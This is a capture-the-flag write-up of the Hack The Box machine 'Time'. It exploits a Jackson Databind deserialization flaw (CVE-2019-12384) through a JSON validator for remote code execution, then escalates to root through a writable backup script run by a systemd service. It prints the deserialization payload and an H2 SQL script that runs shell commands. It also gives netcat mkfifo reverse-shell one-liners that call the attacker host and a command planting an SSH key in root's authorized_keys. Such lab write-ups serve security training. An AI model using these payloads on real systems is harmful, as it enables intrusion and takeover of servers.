Initial Information

Name:       | Time
OS:         | Linux
Difficulty: | Medium
Points:     | 30
Release:    | 24 Oct 2020
IP:         | 10.10.10.214

Enumeration

As always we can start with an nmap scan to identify open ports and service versions.

$ nmap -sC -sV -p- -T4 -oA recon/tcpfull 10.10.10.214
[sudo] password for matesz:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-28 22:20 CET
Nmap scan report for 10.10.10.214
Host is up (0.045s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.61 seconds

http - 80/tcp

This is a small webapp with two main functionality.

mainpage

Beautify

As always we must try to use the application like a normal user would. We can insert a simple JSON string like {"asd":1} and the webapp returns a beautified version of it with spaces and newlines added.

Validate

Since the validator is in beta, we have a higher chance of finding interesting behaviour for an unexpected input string. But for first, we must give it a valid input like we did before ({"asd":1}).

The validator returned an error to this string which is unexpected behaviour! The error was the following:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

For instance, we know it's running Java. The other interesting part of the error is the com.fasterxml.jackson.databind.exc part.

If we search for this string in duckduckgo, we should find out that the software in use is Jackson Databind.

jackson-databind

Searching for CVE's

Searching for jackson databind exploit site:github.com reveals that there are some CVE PoC's for it.

After some scrolling we should find github.com/jas502n/CVE-2019-12384.

jackson-databind-poc

The githhub repo links to a blog post (blog.doyensec.com/2019/07/22/jackson-gadgets.html) which explains the vulnerability in detail.

Exploitation

The blog provides a test payload which makes a get request to /inject.sql on the provided ip.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]

Testing

For first, we need to create a "listener" for the request. In this case I used python3 -m http.server 8000 to host a webserver on port 8000.

Then we can replace localhost with our ip address and paste it into the validator!

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.74:8000/inject.sql'"}]

validate-test-get-payload

After hitting Process the website starts hanging for a bit and we will eventually get an error:

Validation failed: 2021-04-04 12:29:10 command: slow query: 130 ms

And if we take a look at our listener we should see the target made a get request to /inject.sql.

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [04/Apr/2021 17:19:07] code 404, message File not found
10.10.10.214 - - [04/Apr/2021 17:19:07] "GET /inject.sql HTTP/1.1" 404 -

Creating inject.sql and gaining foothold

The blog post also mentions the contents of the inject.sql file.

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

We can change this command to a reverse shell to gain shell access to the target.

I used the openbsd netcat reverse shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.74 1337 >/tmp/f

inject.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.74 1337 >/tmp/f')

We can host this file with python3 -m http.server 8000 and run our initial payload on the webapp again in order to gain remote code execution by including the malicious .sql file.

Hosting:

$ python3 -m http.server 8000

Reverse shell listener:

$ nc -lvnp 1337

Validate payload:

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.74:8000/inject.sql'"}]

After 1-2 seconds we should see a get request and a reverse shell as pericles.

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [04/Apr/2021 17:32:39] "GET /inject.sql HTTP/1.1" 200 -
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.10.214] 35242
/bin/sh: 0: can't access tty; job control turned off
$ hostname;id;ip a
time
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default
qlen 1000
    link/ether 00:50:56:b9:3c:ce brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:3cce/64 scope global dynamic mngtmpaddr
       valid_lft 86042sec preferred_lft 14042sec
    inet6 fe80::250:56ff:feb9:3cce/64 scope link
       valid_lft forever preferred_lft forever

Privilege Escalation from pericles

Enumeration

We can run an automated privesc checker script like linpeas.sh in order to discover interesting files and possible privilege escalation vectors.

I noted the following lines from the linpeas output.

[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh
/usr/bin/timer_backup.sh
/usr/bin/rescan-scsi-bus.sh

[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group pericles:
/usr/bin/timer_backup.sh
/dev/shm/linpeas.sh

For first we can use cat to get the contents of the file.

$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

We can check the owner of the file with ls -l, and this turns out to be the current user pericles.

$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Dec  6 18:05 /usr/bin/timer_backup.sh

This means we can write into this file and we might use it to escalate our privileges to an other user if it gets executed by someone else on the system.

We can check for the occurrence of this filename recursively on the system with grep.

$ grep -r 'timer_backup.sh' / 2>/dev/null
/etc/systemd/system/web_backup.service:ExecStart=/bin/bash /usr/bin/timer_backup.sh

The script is invoked in a systemd service file /etc/systemd/system/web_backup.service.

The owner of these service files are usually root, but we may check it anyways.

$ ls -la /etc/systemd/system/web_backup.service
-rw-r--r-- 1 root root 106 Oct 23 04:57 /etc/systemd/system/web_backup.service

pspy

We can use pspy to check for running programs on a linux target.

$ wget 10.10.14.111:8000/pspy64
$ chmod +x ./pspy64
$ ./pspy64
---[SNIP]---
2021/04/15 15:09:41 CMD: UID=0    PID=103761 | /bin/bash /usr/bin/timer_backup.sh
---[SNIP]---

Exploitation of the weak permissions

Reverse shell

We can paste a revshell payload into this script and start a listener.

adding a revshell payload to the script:

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.111 9002 >/tmp/f' >> /usr/bin/timer_backup.sh

listener:

$ nc -lvnp 9002

It is important to note that this shell closes very fast after execution which means we we have a limited time to execute arbitrary commands.

I copy pasted my commands that I wanted to run when the shell pops.

These were the following ones.

id; hostname; ip a; ls -la /root; cat /root/root.txt

Now, we should wait until the next execution. And quickly paste in our oneliner.

# id; hostname; ip a; ls -la /root; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
time
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:60:94 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:6094/64 scope global dynamic mngtmpaddr
       valid_lft 86274sec preferred_lft 14274sec
    inet6 fe80::250:56ff:feb9:6094/64 scope link
       valid_lft forever preferred_lft forever
total 5816
drwx------  7 root root    4096 Apr 15 15:37 .
drwxr-xr-x 20 root root    4096 Apr 15 15:37 ..
-rw-r--r--  1 root root 5900858 Apr 15 15:37 backup.zip
lrwxrwxrwx  1 root root       9 Oct  2  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root    3106 Dec  5  2019 .bashrc
drwx------  2 root root    4096 Feb 10 15:18 .cache
drwx------  3 root root    4096 Feb 10 15:18 .config
drwxr-xr-x  3 root root    4096 Feb 10 15:18 .local
-rw-r--r--  1 root root     161 Dec  5  2019 .profile
-r--------  1 root root      33 Apr 15 05:14 root.txt
-rw-r--r--  1 root root      66 Oct 22 08:45 .selected_editor
drwxr-xr-x  3 root root    4096 Feb 10 15:18 snap
drwx------  2 root root    4096 Feb 10 15:18 .ssh
-rwxr--r--  1 root root      88 Oct 22 08:49 timer_backup.sh
-rw-------  1 root root     929 Feb  9 14:42 .viminfo
f496-------[REDACTED]-------8d43

Stable ssh shell

But we shouldn't stop here because we need to get a stable shell.

Since root has a .ssh directory it means we can paste our public ssh key into /root/.ssh/authorized_keys in order to access the target from our attacker machine without any password through ssh.

I used the following command to add my key.

$ echo 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMjNDhZW/vSZFEtwXWlTudO/wMFnw4nP8atTWR6j3OOp matesz@MLKali" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh

And then I just used ssh to connect to the box as root from my attacker host.

$ ssh root@10.10.10.214
Last login: Tue Feb  9 14:41:33 2021
root@time:~# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
time
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:60:94 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:6094/64 scope global dynamic mngtmpaddr
       valid_lft 86020sec preferred_lft 14020sec
    inet6 fe80::250:56ff:feb9:6094/64 scope link
       valid_lft forever preferred_lft forever